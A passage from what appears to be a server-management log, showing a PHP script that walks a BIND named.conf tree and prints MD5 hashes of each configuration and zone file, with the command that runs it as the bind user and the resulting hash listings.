MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-23 13:13:52: Establishing a connection
2026-04-23 13:13:52: 

PUT: /tmp/pkp465148

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-23 13:13:53: 

runuser -l bind -s /bin/bash -c '/tmp/pkp465148; rm /tmp/pkp465148'

2026-04-23 13:13:53: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 0ef694a7641428c526ed26173b33ce38
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
